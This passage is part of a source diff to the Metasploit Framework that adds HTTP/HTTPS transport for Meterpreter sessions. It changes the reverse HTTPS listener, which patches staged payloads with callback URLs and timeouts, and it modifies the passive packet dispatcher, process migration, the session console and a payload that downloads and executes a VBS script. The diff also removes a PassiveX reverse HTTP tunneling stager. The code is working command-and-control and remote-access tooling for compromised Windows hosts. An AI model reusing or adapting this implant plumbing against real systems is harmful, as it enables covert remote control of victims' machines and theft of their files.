OptInt.new('SessionCommunicationTimeout', [ false, 'The number of seconds of no activity before this session should be killed', 300])
|
||||
], Msf::Handler::ReverseHttps)
|
||||
end
|
||||
|
||||
#
|
||||
# Create an HTTPS listener
|
||||
#
|
||||
def setup_handler
|
||||
|
||||
|
||||
comm = datastore['ReverseListenerComm']
|
||||
if (comm.to_s == "local")
|
||||
comm = ::Rex::Socket::Comm::Local
|
||||
else
|
||||
comm = nil
|
||||
end
|
||||
|
||||
|
||||
# Start the HTTPS server service on this host/port
|
||||
self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server,
|
||||
datastore['LPORT'].to_i,
|
||||
|
@ -69,7 +70,8 @@ module ReverseHttps
|
|||
'Msf' => framework,
|
||||
'MsfExploit' => self,
|
||||
},
|
||||
comm
|
||||
comm,
|
||||
datastore['SSLCert']
|
||||
)
|
||||
|
||||
# Create a reference to ourselves
|
||||
|
@ -82,8 +84,7 @@ module ReverseHttps
|
|||
},
|
||||
'VirtualDirectory' => true)
|
||||
|
||||
dlog("Started HTTPS reverse handler on https://#{datastore['LHOST']}:#{datastore['LPORT']}/", 'core', LEV_2)
|
||||
|
||||
self.conn_ids = []
|
||||
print_status("Started HTTPS reverse handler on https://#{datastore['LHOST']}:#{datastore['LPORT']}/")
|
||||
end
|
||||
|
||||
|
@ -101,13 +102,15 @@ module ReverseHttps
|
|||
end
|
||||
|
||||
#
|
||||
# Stops the service and deinitializes it.
|
||||
# Removes the / handler, possibly stopping the service if no sessions are
|
||||
# active on sub-urls.
|
||||
#
|
||||
def stop_handler
|
||||
Rex::ServiceManager.stop_service(service)
|
||||
self.service.remove_resource("/") if self.service
|
||||
end
|
||||
|
||||
attr_accessor :service # :nodoc:
|
||||
attr_accessor :conn_ids
|
||||
|
||||
protected
|
||||
|
||||
|
@ -122,42 +125,87 @@ protected
|
|||
|
||||
# Process the requested resource.
|
||||
case req.relative_resource
|
||||
when /\/A(.+)/
|
||||
target_id = $1
|
||||
when /^\/A?INITM?/
|
||||
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{target_id} received...")
|
||||
url = ''
|
||||
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...")
|
||||
resp['Content-Type'] = 'application/octet-stream'
|
||||
|
||||
blob = obj.stage_payload
|
||||
|
||||
resp.body = obj.prestage_payload + obj.stage_payload(target_id)
|
||||
# Replace the transport string first (TRANSPORT_SOCKET_SSL
|
||||
i = blob.index("METERPRETER_TRANSPORT_SSL")
|
||||
if i
|
||||
str = "METERPRETER_TRANSPORT_HTTPS\x00"
|
||||
blob[i, str.length] = str
|
||||
end
|
||||
print_status("Patched transport at offset #{i}...")
|
||||
|
||||
conn_id = "CONN_" + Rex::Text.rand_text_alphanumeric(16)
|
||||
i = blob.index("https://" + ("X" * 256))
|
||||
if i
|
||||
url = "https://#{datastore['LHOST']}:#{datastore['LPORT']}/" + conn_id + "/\x00"
|
||||
blob[i, url.length] = url
|
||||
end
|
||||
print_status("Patched URL at offset #{i}...")
|
||||
|
||||
when /\/B(.+)/
|
||||
target_id = $1
|
||||
i = blob.index([0xb64be661].pack("V"))
|
||||
if i
|
||||
str = [ datastore['SessionExpirationTimeout'] ].pack("V")
|
||||
blob[i, str.length] = str
|
||||
end
|
||||
print_status("Patched Expiration Timeout at offset #{i}...")
|
||||
|
||||
# This is the second connection from the actual stage, hand the socket
|
||||
# off to the real payload handler
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} Stage connection for target #{target_id} received...")
|
||||
i = blob.index([0xaf79257f].pack("V"))
|
||||
if i
|
||||
str = [ datastore['SessionCommunicationTimeout'] ].pack("V")
|
||||
blob[i, str.length] = str
|
||||
end
|
||||
print_status("Patched Communication Timeout at offset #{i}...")
|
||||
|
||||
resp.body = blob
|
||||
|
||||
conn_ids << conn_id
|
||||
|
||||
# Short-circuit the payload's handle_connection processing for create_session
|
||||
create_session(cli, { :skip_ssl => true, :target_id => target_id })
|
||||
create_session(cli, {
|
||||
:passive_dispatcher => obj.service,
|
||||
:conn_id => conn_id,
|
||||
:url => url,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:ssl => true
|
||||
})
|
||||
|
||||
# Specify this socket as keep-alive to prevent an immediate kill
|
||||
cli.keepalive = true
|
||||
when /^\/(CONN_.*)\//
|
||||
resp.body = ""
|
||||
conn_id = $1
|
||||
|
||||
# Remove this socket from the polled client list in the server
|
||||
obj.service.listener.clients.delete(cli)
|
||||
|
||||
return
|
||||
if true # if not self.conn_ids.include?(conn_id)
|
||||
print_status("Incoming orphaned session #{conn_id}, reattaching...")
|
||||
conn_ids << conn_id
|
||||
|
||||
create_session(cli, {
|
||||
:passive_dispatcher => obj.service,
|
||||
:conn_id => conn_id,
|
||||
:url => "https://#{datastore['LHOST']}:#{datastore['LPORT']}/" + conn_id + "/\x00",
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:ssl => true
|
||||
})
|
||||
end
|
||||
else
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{req.relative_resource}...")
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{req.relative_resource} #{req.inspect}...")
|
||||
resp.code = 200
|
||||
resp.message = "OK"
|
||||
resp.body = "<h3>No site configured at this address</h3>"
|
||||
end
|
||||
|
||||
cli.send_response(resp) if (resp)
|
||||
|
||||
# Force this socket to be closed
|
||||
obj.service.close_client( cli )
|
||||
end
|
||||
|
||||
|
||||
|
|
|
@ -27,7 +27,7 @@ module Payload::Windows::DllInject
|
|||
'Arch' => ARCH_X86,
|
||||
'PayloadCompat' =>
|
||||
{
|
||||
'Convention' => 'sockedi -passivex -https'
|
||||
'Convention' => 'sockedi -http -https'
|
||||
},
|
||||
'Stage' =>
|
||||
{
|
||||
|
|
|
@ -26,7 +26,7 @@ module Payload::Windows::Exec
|
|||
'Arch' => ARCH_X86,
|
||||
'PayloadCompat' =>
|
||||
{
|
||||
'Convention' => '-passivex -https',
|
||||
'Convention' => '-passivex -http -https',
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
|
|
|
@ -26,7 +26,7 @@ module Payload::Windows::LoadLibrary
|
|||
'Arch' => ARCH_X86,
|
||||
'PayloadCompat' =>
|
||||
{
|
||||
'Convention' => '-passivex -https',
|
||||
'Convention' => '-http -https',
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
|
|
|
@ -172,7 +172,8 @@ class Channel
|
|||
request = Packet.create_request('core_channel_read')
|
||||
|
||||
if (length == nil)
|
||||
length = 65536
|
||||
# Default block size to a higher amount for passive dispatcher
|
||||
length = self.client.passive_service ? (1024*1024) : 65536
|
||||
end
|
||||
|
||||
request.add_tlv(TLV_TYPE_CHANNEL_ID, self.cid)
|
||||
|
@ -228,12 +229,12 @@ class Channel
|
|||
|
||||
# Populate the request
|
||||
request.add_tlv(TLV_TYPE_CHANNEL_ID, self.cid)
|
||||
|
||||
|
||||
cdata = request.add_tlv(TLV_TYPE_CHANNEL_DATA, buf)
|
||||
if( ( self.flags & CHANNEL_FLAG_COMPRESS ) == CHANNEL_FLAG_COMPRESS )
|
||||
cdata.compress = true
|
||||
cdata.compress = true
|
||||
end
|
||||
|
||||
|
||||
request.add_tlv(TLV_TYPE_LENGTH, length)
|
||||
request.add_tlvs(addends)
|
||||
|
||||
|
@ -285,7 +286,7 @@ class Channel
|
|||
|
||||
return true
|
||||
end
|
||||
|
||||
|
||||
def _close(addends = nil)
|
||||
self.class._close(self.client, self.cid, addends)
|
||||
self.cid = nil
|
||||
|
|
|
@ -45,7 +45,7 @@ class Client
|
|||
# Cached SSL certificate (required to scale)
|
||||
#
|
||||
@@ssl_ctx = nil
|
||||
|
||||
|
||||
#
|
||||
# Mutex to synchronize class-wide operations
|
||||
#
|
||||
|
@ -95,32 +95,51 @@ class Client
|
|||
# Initializes the meterpreter client instance
|
||||
#
|
||||
def init_meterpreter(sock,opts={})
|
||||
self.sock = sock
|
||||
self.parser = PacketParser.new
|
||||
self.ext = ObjectAliases.new
|
||||
self.ext_aliases = ObjectAliases.new
|
||||
self.alive = true
|
||||
self.target_id = opts[:target_id]
|
||||
self.capabilities= opts[:capabilities] || {}
|
||||
self.sock = sock
|
||||
self.parser = PacketParser.new
|
||||
self.ext = ObjectAliases.new
|
||||
self.ext_aliases = ObjectAliases.new
|
||||
self.alive = true
|
||||
self.target_id = opts[:target_id]
|
||||
self.capabilities = opts[:capabilities] || {}
|
||||
|
||||
self.response_timeout = opts[:timeout] || self.class.default_timeout
|
||||
|
||||
self.conn_id = opts[:conn_id]
|
||||
self.url = opts[:url]
|
||||
self.ssl = opts[:ssl]
|
||||
self.expiration = opts[:expiration]
|
||||
self.comm_timeout = opts[:comm_timeout]
|
||||
self.passive_dispatcher = opts[:passive_dispatcher]
|
||||
|
||||
self.response_timeout = opts[:timeout] || self.class.default_timeout
|
||||
self.send_keepalives = true
|
||||
|
||||
if opts[:passive_dispatcher]
|
||||
initialize_passive_dispatcher
|
||||
|
||||
# Switch the socket to SSL mode and receive the hello if needed
|
||||
if capabilities[:ssl] and not opts[:skip_ssl]
|
||||
swap_sock_plain_to_ssl()
|
||||
register_extension_alias('core', ClientCore.new(self))
|
||||
|
||||
initialize_inbound_handlers
|
||||
initialize_channels
|
||||
|
||||
# Register the channel inbound packet handler
|
||||
register_inbound_handler(Rex::Post::Meterpreter::Channel)
|
||||
else
|
||||
# Switch the socket to SSL mode and receive the hello if needed
|
||||
if capabilities[:ssl] and not opts[:skip_ssl]
|
||||
swap_sock_plain_to_ssl()
|
||||
end
|
||||
|
||||
register_extension_alias('core', ClientCore.new(self))
|
||||
|
||||
initialize_inbound_handlers
|
||||
initialize_channels
|
||||
|
||||
# Register the channel inbound packet handler
|
||||
register_inbound_handler(Rex::Post::Meterpreter::Channel)
|
||||
|
||||
monitor_socket
|
||||
end
|
||||
|
||||
register_extension_alias('core', ClientCore.new(self))
|
||||
|
||||
initialize_inbound_handlers
|
||||
initialize_channels
|
||||
|
||||
# Register the channel inbound packet handler
|
||||
register_inbound_handler(Rex::Post::Meterpreter::Channel)
|
||||
|
||||
monitor_socket
|
||||
end
|
||||
|
||||
def swap_sock_plain_to_ssl
|
||||
|
@ -138,22 +157,22 @@ class Client
|
|||
rescue ::Errno::EAGAIN, ::Errno::EWOULDBLOCK
|
||||
IO::select(nil, nil, nil, 0.10)
|
||||
retry
|
||||
|
||||
# Ruby 1.9.2+ uses IO::WaitReadable/IO::WaitWritable
|
||||
|
||||
# Ruby 1.9.2+ uses IO::WaitReadable/IO::WaitWritable
|
||||
rescue ::Exception => e
|
||||
if ::IO.const_defined?('WaitReadable') and e.kind_of?(::IO::WaitReadable)
|
||||
IO::select( [ ssl ], nil, nil, 0.10 )
|
||||
retry
|
||||
end
|
||||
|
||||
if ::IO.const_defined?('WaitWritable') and e.kind_of?(::IO::WaitWritable)
|
||||
|
||||
if ::IO.const_defined?('WaitWritable') and e.kind_of?(::IO::WaitWritable)
|
||||
IO::select( nil, [ ssl ], nil, 0.10 )
|
||||
retry
|
||||
end
|
||||
|
||||
|
||||
raise e
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
self.sock.extend(Rex::Socket::SslTcp)
|
||||
self.sock.sslsock = ssl
|
||||
|
@ -175,11 +194,11 @@ class Client
|
|||
end
|
||||
|
||||
def generate_ssl_context
|
||||
@@ssl_mutex.synchronize do
|
||||
@@ssl_mutex.synchronize do
|
||||
if not @@ssl_ctx
|
||||
|
||||
|
||||
wlog("Generating SSL certificate for Meterpreter sessions")
|
||||
|
||||
|
||||
key = OpenSSL::PKey::RSA.new(1024){ }
|
||||
cert = OpenSSL::X509::Certificate.new
|
||||
cert.version = 2
|
||||
|
@ -223,12 +242,12 @@ class Client
|
|||
ctx.session_id_context = Rex::Text.rand_text(16)
|
||||
|
||||
wlog("Generated SSL certificate for Meterpreter sessions")
|
||||
|
||||
|
||||
@@ssl_ctx = ctx
|
||||
|
||||
|
||||
end # End of if not @ssl_ctx
|
||||
end # End of mutex.synchronize
|
||||
|
||||
|
||||
@@ssl_ctx
|
||||
end
|
||||
|
||||
|
@ -379,6 +398,30 @@ class Client
|
|||
# The libraries available to this meterpreter server
|
||||
#
|
||||
attr_accessor :capabilities
|
||||
#
|
||||
# The Connection ID
|
||||
#
|
||||
attr_accessor :conn_id
|
||||
#
|
||||
# The Connect URL
|
||||
#
|
||||
attr_accessor :url
|
||||
#
|
||||
# Use SSL (HTTPS)
|
||||
#
|
||||
attr_accessor :ssl
|
||||
#
|
||||
# The Session Expiration Timeout
|
||||
#
|
||||
attr_accessor :expiration
|
||||
#
|
||||
# The Communication Timeout
|
||||
#
|
||||
attr_accessor :comm_timeout
|
||||
#
|
||||
# The Passive Dispatcher
|
||||
#
|
||||
attr_accessor :passive_dispatcher
|
||||
|
||||
protected
|
||||
attr_accessor :parser, :ext_aliases # :nodoc:
|
||||
|
|
|
@ -184,7 +184,7 @@ class ClientCore < Extension
|
|||
|
||||
# We cant migrate into a process that does not exist.
|
||||
if( process == nil )
|
||||
raise RuntimeError, "Cannot migrate into non existant process", caller
|
||||
raise RuntimeError, "Cannot migrate into non existent process", caller
|
||||
end
|
||||
|
||||
# We cant migrate into a process that we are unable to open
|
||||
|
@ -216,13 +216,42 @@ class ClientCore < Extension
|
|||
migrate_stager = c.new()
|
||||
migrate_stager.datastore['DLL'] = ::File.join( Msf::Config.install_root, "data", "meterpreter", "metsrv.#{binary_suffix}" )
|
||||
|
||||
payload = migrate_stager.stage_payload
|
||||
blob = migrate_stager.stage_payload
|
||||
|
||||
if client.passive_service
|
||||
|
||||
# Replace the transport string first (TRANSPORT_SOCKET_SSL
|
||||
i = blob.index("METERPRETER_TRANSPORT_SSL")
|
||||
if i
|
||||
str = client.ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00"
|
||||
blob[i, str.length] = str
|
||||
end
|
||||
|
||||
conn_id = self.client.conn_id
|
||||
i = blob.index("https://" + ("X" * 256))
|
||||
if i
|
||||
str = self.client.url
|
||||
blob[i, str.length] = str
|
||||
end
|
||||
|
||||
i = blob.index([0xb64be661].pack("V"))
|
||||
if i
|
||||
str = [ self.client.expiration ].pack("V")
|
||||
blob[i, str.length] = str
|
||||
end
|
||||
|
||||
i = blob.index([0xaf79257f].pack("V"))
|
||||
if i
|
||||
str = [ self.client.comm_timeout ].pack("V")
|
||||
blob[i, str.length] = str
|
||||
end
|
||||
end
|
||||
|
||||
# Build the migration request
|
||||
request = Packet.create_request( 'core_migrate' )
|
||||
request.add_tlv( TLV_TYPE_MIGRATE_PID, pid )
|
||||
request.add_tlv( TLV_TYPE_MIGRATE_LEN, payload.length )
|
||||
request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, payload, false, client.capabilities[:zlib])
|
||||
request.add_tlv( TLV_TYPE_MIGRATE_LEN, blob.length )
|
||||
request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, blob, false, client.capabilities[:zlib])
|
||||
if( process['arch'] == ARCH_X86_64 )
|
||||
request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64
|
||||
else
|
||||
|
@ -232,19 +261,28 @@ class ClientCore < Extension
|
|||
# Send the migration request (bump up the timeout to 60 seconds)
|
||||
response = client.send_request( request, 60 )
|
||||
|
||||
# Disable the socket request monitor
|
||||
client.monitor_stop
|
||||
if client.passive_service
|
||||
# Sleep for 5 seconds to allow the full handoff, this prevents
|
||||
# the original process from stealing our loadlib requests
|
||||
::IO.select(nil, nil, nil, 5.0)
|
||||
else
|
||||
# Prevent new commands from being sent while we finish migrating
|
||||
client.comm_mutex.synchronize do
|
||||
# Disable the socket request monitor
|
||||
client.monitor_stop
|
||||
|
||||
###
|
||||
# Now communicating with the new process
|
||||
###
|
||||
###
|
||||
# Now communicating with the new process
|
||||
###
|
||||
|
||||
# Renegotiate SSL over this socket
|
||||
client.swap_sock_ssl_to_plain()
|
||||
client.swap_sock_plain_to_ssl()
|
||||
# Renegotiate SSL over this socket
|
||||
client.swap_sock_ssl_to_plain()
|
||||
client.swap_sock_plain_to_ssl()
|
||||
|
||||
# Restart the socket monitor
|
||||
client.monitor_socket
|
||||
# Restart the socket monitor
|
||||
client.monitor_socket
|
||||
end
|
||||
end
|
||||
|
||||
# Update the meterpreter platform/suffix for loading extensions as we may have changed target architecture
|
||||
# sf: this is kinda hacky but it works. As ruby doesnt let you un-include a module this is the simplest solution I could think of.
|
||||
|
@ -268,6 +306,15 @@ class ClientCore < Extension
|
|||
return true
|
||||
end
|
||||
|
||||
#
|
||||
# Shuts the session down
|
||||
#
|
||||
def shutdown
|
||||
request = Packet.create_request('core_shutdown')
|
||||
response = self.client.send_packet_wait_response(request, 15)
|
||||
true
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end; end; end
|
||||
|
|
|
@ -27,27 +27,27 @@ SEPARATOR = "\\"
|
|||
Separator = "\\"
|
||||
|
||||
include Rex::Post::File
|
||||
|
||||
|
||||
class << self
|
||||
attr_accessor :client
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Search for files.
|
||||
#
|
||||
def File.search( root=nil, glob="*.*", recurse=true, timeout=-1 )
|
||||
|
||||
|
||||
files = ::Array.new
|
||||
|
||||
|
||||
request = Packet.create_request( 'stdapi_fs_search' )
|
||||
|
||||
root = root.chomp( '\\' ) if root
|
||||
|
||||
|
||||
request.add_tlv( TLV_TYPE_SEARCH_ROOT, root )
|
||||
request.add_tlv( TLV_TYPE_SEARCH_GLOB, glob )
|
||||
request.add_tlv( TLV_TYPE_SEARCH_RECURSE, recurse )
|
||||
|
||||
# we set the response timeout to -1 to wait indefinatly as a
|
||||
# we set the response timeout to -1 to wait indefinatly as a
|
||||
# search could take an indeterminate ammount of time to complete.
|
||||
response = client.send_request( request, timeout )
|
||||
if( response.result == 0 )
|
||||
|
@ -59,10 +59,10 @@ Separator = "\\"
|
|||
}
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
return files
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Returns the base name of the supplied file path to the caller.
|
||||
#
|
||||
|
@ -86,7 +86,7 @@ Separator = "\\"
|
|||
request.add_tlv(TLV_TYPE_FILE_PATH, path)
|
||||
|
||||
response = client.send_request(request)
|
||||
|
||||
|
||||
return response.get_tlv_value(TLV_TYPE_FILE_PATH)
|
||||
end
|
||||
|
||||
|
@ -104,27 +104,27 @@ Separator = "\\"
|
|||
r = client.fs.filestat.new(name) rescue nil
|
||||
r ? true : false
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Performs a delete on the specified file.
|
||||
#
|
||||
def File.rm(name)
|
||||
def File.rm(name)
|
||||
request = Packet.create_request('stdapi_fs_delete_file')
|
||||
|
||||
request.add_tlv(TLV_TYPE_FILE_PATH,name)
|
||||
|
||||
response = client.send_request(request)
|
||||
|
||||
|
||||
return response
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Performs a delete on the specified file.
|
||||
#
|
||||
def File.unlink(name)
|
||||
return File.rm(name)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Upload one or more files to the remote computer the remote
|
||||
# directory supplied in destination.
|
||||
|
@ -151,7 +151,7 @@ Separator = "\\"
|
|||
# all of the contents of the local file
|
||||
dest_fd = client.fs.file.new(dest_file, "wb")
|
||||
src_buf = ''
|
||||
|
||||
|
||||
::File.open(src_file, 'rb') { |f|
|
||||
src_buf = f.read(f.stat.size)
|
||||
}
|
||||
|
@ -164,7 +164,7 @@ Separator = "\\"
|
|||
end
|
||||
|
||||
#
|
||||
# Download one or more files from the remote computer to the local
|
||||
# Download one or more files from the remote computer to the local
|
||||
# directory supplied in destination.
|
||||
#
|
||||
def File.download(destination, *src_files, &stat)
|
||||
|
@ -178,7 +178,7 @@ Separator = "\\"
|
|||
end
|
||||
|
||||
download_file(dest, src)
|
||||
|
||||
|
||||
stat.call('downloaded', src, dest) if (stat)
|
||||
}
|
||||
end
|
||||
|
@ -272,3 +272,4 @@ protected
|
|||
end
|
||||
|
||||
end; end; end; end; end; end
|
||||
|
||||
|
|
|
@ -29,9 +29,9 @@ class RequestError < ArgumentError
|
|||
|
||||
# The error result that occurred, typically a windows error message.
|
||||
attr_reader :result
|
||||
|
||||
|
||||
# The error result that occurred, typically a windows error code.
|
||||
attr_reader :code
|
||||
attr_reader :code
|
||||
end
|
||||
|
||||
###
|
||||
|
@ -44,6 +44,84 @@ module PacketDispatcher
|
|||
|
||||
PacketTimeout = 600
|
||||
|
||||
##
|
||||
#
|
||||
# Synchronization
|
||||
#
|
||||
##
|
||||
attr_accessor :comm_mutex
|
||||
|
||||
|
||||
##
|
||||
#
|
||||
#
|
||||
# Passive Dispatching
|
||||
#
|
||||
##
|
||||
attr_accessor :passive_service, :send_queue, :recv_queue
|
||||
|
||||
def initialize_passive_dispatcher
|
||||
self.send_queue = []
|
||||
self.recv_queue = []
|
||||
self.waiters = []
|
||||
self.alive = true
|
||||
|
||||
self.passive_service = self.passive_dispatcher
|
||||
self.passive_service.remove_resource("/" + self.conn_id + "/")
|
||||
self.passive_service.add_resource("/" + self.conn_id + "/",
|
||||
'Proc' => Proc.new { |cli, req| on_passive_request(cli, req) },
|
||||
'VirtualDirectory' => true
|
||||
)
|
||||
end
|
||||
|
||||
def shutdown_passive_dispatcher
|
||||
return if not self.passive_service
|
||||
self.passive_service.remove_resource("/" + self.conn_id + "/")
|
||||
|
||||
self.alive = false
|
||||
self.send_queue = []
|
||||
self.recv_queue = []
|
||||
self.waiters = []
|
||||
|
||||
self.passive_service = nil
|
||||
end
|
||||
|
||||
def on_passive_request(cli, req)
|
||||
|
||||
begin
|
||||
|
||||
resp = Rex::Proto::Http::Response.new(200, "OK")
|
||||
resp['Content-Type'] = 'application/octet-stream'
|
||||
resp['Connection'] = 'close'
|
||||
|
||||
# If the first 4 bytes are "RECV", return the oldest packet from the outbound queue
|
||||
if req.body[0,4] == "RECV"
|
||||
rpkt = send_queue.pop
|
||||
resp.body = rpkt || ''
|
||||
begin
|
||||
cli.send_response(resp)
|
||||
rescue ::Exception => e
|
||||
send_queue.unshift(rpkt) if rpkt
|
||||
elog("Exception sending a reply to the reader request: #{cli.inspect} #{e.class} #{e} #{e.backtrace}")
|
||||
end
|
||||
else
|
||||
resp.body = ""
|
||||
if req.body and req.body.length > 0
|
||||
packet = Packet.new(0)
|
||||
packet.from_r(req.body)
|
||||
dispatch_inbound_packet(packet)
|
||||
end
|
||||
cli.send_response(resp)
|
||||
end
|
||||
|
||||
# Force a closure for older WinInet implementations
|
||||
self.passive_service.close_client( cli )
|
||||
|
||||
rescue ::Exception => e
|
||||
elog("Exception handling request: #{cli.inspect} #{req.inspect} #{e.class} #{e} #{e.backtrace}")
|
||||
end
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
# Transmission
|
||||
|
@ -62,23 +140,34 @@ module PacketDispatcher
|
|||
raw = packet.to_r
|
||||
err = nil
|
||||
|
||||
# Short-circuit send when using a passive dispatcher
|
||||
if self.passive_service
|
||||
send_queue.push(raw)
|
||||
return raw.size # Lie!
|
||||
end
|
||||
|
||||
if (raw)
|
||||
|
||||
begin
|
||||
bytes = self.sock.write(raw)
|
||||
rescue ::Exception => e
|
||||
err = e
|
||||
|
||||
# This mutex is used to lock out new commands during an
|
||||
# active migration.
|
||||
|
||||
self.comm_mutex.synchronize do
|
||||
begin
|
||||
bytes = self.sock.write(raw)
|
||||
rescue ::Exception => e
|
||||
err = e
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
if bytes.to_i == 0
|
||||
# Mark the session itself as dead
|
||||
self.alive = false
|
||||
|
||||
|
||||
# Indicate that the dispatcher should shut down too
|
||||
@finish = true
|
||||
|
||||
|
||||
# Reraise the error to the top-level caller
|
||||
raise err if err
|
||||
raise err if err
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -89,12 +178,12 @@ module PacketDispatcher
|
|||
# Sends a packet and waits for a timeout for the given time interval.
|
||||
#
|
||||
def send_request(packet, t = self.response_timeout)
|
||||
|
||||
|
||||
if not t
|
||||
send_packet(packet)
|
||||
return nil
|
||||
end
|
||||
|
||||
|
||||
response = send_packet_wait_response(packet, t)
|
||||
|
||||
if (response == nil)
|
||||
|
@ -146,6 +235,12 @@ module PacketDispatcher
|
|||
# thread context and parsers all inbound packets.
|
||||
#
|
||||
def monitor_socket
|
||||
|
||||
# Skip if we are using a passive dispatcher
|
||||
return if self.passive_service
|
||||
|
||||
self.comm_mutex = ::Mutex.new
|
||||
|
||||
self.waiters = []
|
||||
|
||||
@pqueue = []
|
||||
|
@ -303,6 +398,7 @@ module PacketDispatcher
|
|||
self.receiver_thread.kill
|
||||
self.receiver_thread = nil
|
||||
end
|
||||
|
||||
if(self.dispatcher_thread)
|
||||
self.dispatcher_thread.kill
|
||||
self.dispatcher_thread = nil
|
||||
|
@ -385,7 +481,6 @@ module PacketDispatcher
|
|||
end
|
||||
end
|
||||
|
||||
|
||||
# Enumerate all of the inbound packet handlers until one handles
|
||||
# the packet
|
||||
@inbound_handlers.each { |handler|
|
||||
|
|
|
@ -43,6 +43,7 @@ class Console::CommandDispatcher::Core
|
|||
"close" => "Closes a channel",
|
||||
"channel" => "Displays information about active channels",
|
||||
"exit" => "Terminate the meterpreter session",
|
||||
"detach" => "Detach the meterpreter session (for http/https)",
|
||||
"help" => "Help menu",
|
||||
"interact" => "Interacts with a channel",
|
||||
"irb" => "Drop into irb scripting mode",
|
||||
|
@ -204,11 +205,26 @@ class Console::CommandDispatcher::Core
|
|||
# Terminates the meterpreter session.
|
||||
#
|
||||
def cmd_exit(*args)
|
||||
print_status("Shutting down Meterpreter...")
|
||||
client.core.shutdown rescue nil
|
||||
client.shutdown_passive_dispatcher
|
||||
shell.stop
|
||||
end
|
||||
|
||||
alias cmd_quit cmd_exit
|
||||
|
||||
#
|
||||
# Disconnects the session
|
||||
#
|
||||
def cmd_detach(*args)
|
||||
if not client.passive_service
|
||||
print_error("Detach is only possible for non-stream sessions (http/https)")
|
||||
return
|
||||
end
|
||||
client.shutdown_passive_dispatcher
|
||||
shell.stop
|
||||
end
|
||||
|
||||
#
|
||||
# Interacts with a channel.
|
||||
#
|
||||
|
@ -385,11 +401,11 @@ class Console::CommandDispatcher::Core
|
|||
|
||||
def cmd_run_help
|
||||
print_line "Usage: run <script> [arguments]"
|
||||
print_line
|
||||
print_line
|
||||
print_line "Executes a ruby script or Metasploit Post module in the context of the"
|
||||
print_line "meterpreter session. Post modules can take arguments in var=val format."
|
||||
print_line "Example: run post/foo/bar BAZ=abcd"
|
||||
print_line
|
||||
print_line
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -535,7 +551,7 @@ class Console::CommandDispatcher::Core
|
|||
end
|
||||
|
||||
#
|
||||
# Show info for a given Post module.
|
||||
# Show info for a given Post module.
|
||||
#
|
||||
# See also +cmd_info+ in lib/msf/ui/console/command_dispatcher/core.rb
|
||||
#
|
||||
|
@ -546,10 +562,10 @@ class Console::CommandDispatcher::Core
|
|||
cmd_info_help
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
module_name = args.shift
|
||||
mod = client.framework.modules.create(module_name);
|
||||
|
||||
|
||||
if mod.nil?
|
||||
print_error 'Invalid module: ' << module_name
|
||||
end
|
||||
|
@ -655,7 +671,7 @@ class Console::CommandDispatcher::Core
|
|||
|
||||
tab_complete_filenames(str, words)
|
||||
end
|
||||
|
||||
|
||||
def cmd_resource(*args)
|
||||
if args.empty?
|
||||
print(
|
||||
|
|
|
@ -166,7 +166,7 @@ class Packet
|
|||
# Converts the packet to a string.
|
||||
#
|
||||
def to_s
|
||||
content = self.body.dup
|
||||
content = self.body.to_s.dup
|
||||
|
||||
# Update the content length field in the header with the body length.
|
||||
if (content)
|
||||
|
|
|
@ -18,9 +18,9 @@ module Metasploit3
|
|||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Windows .vbs Download and execute',
|
||||
'Name' => 'Windows Executable Download and Evaluate VBS',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Downloads a file from an HTTP(S) URL and executes it as a vbs script.
|
||||
'Description' => 'Downloads a file from an HTTP(S) URL and executes it as a vbs script.
|
||||
Use it to stage a vbs encoded payload from a short command line. ',
|
||||
'Author' => 'scriptjunkie',
|
||||
'License' => BSD_LICENSE,
|
||||
|
@ -67,3 +67,4 @@ module Metasploit3
|
|||
"&start #{vbsname}.vbs"
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -1,118 +0,0 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/passivex'
|
||||
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'PassiveX Reverse HTTP Tunneling Stager',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Tunnel communication over HTTP using IE 6',
|
||||
'Author' => 'skape',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
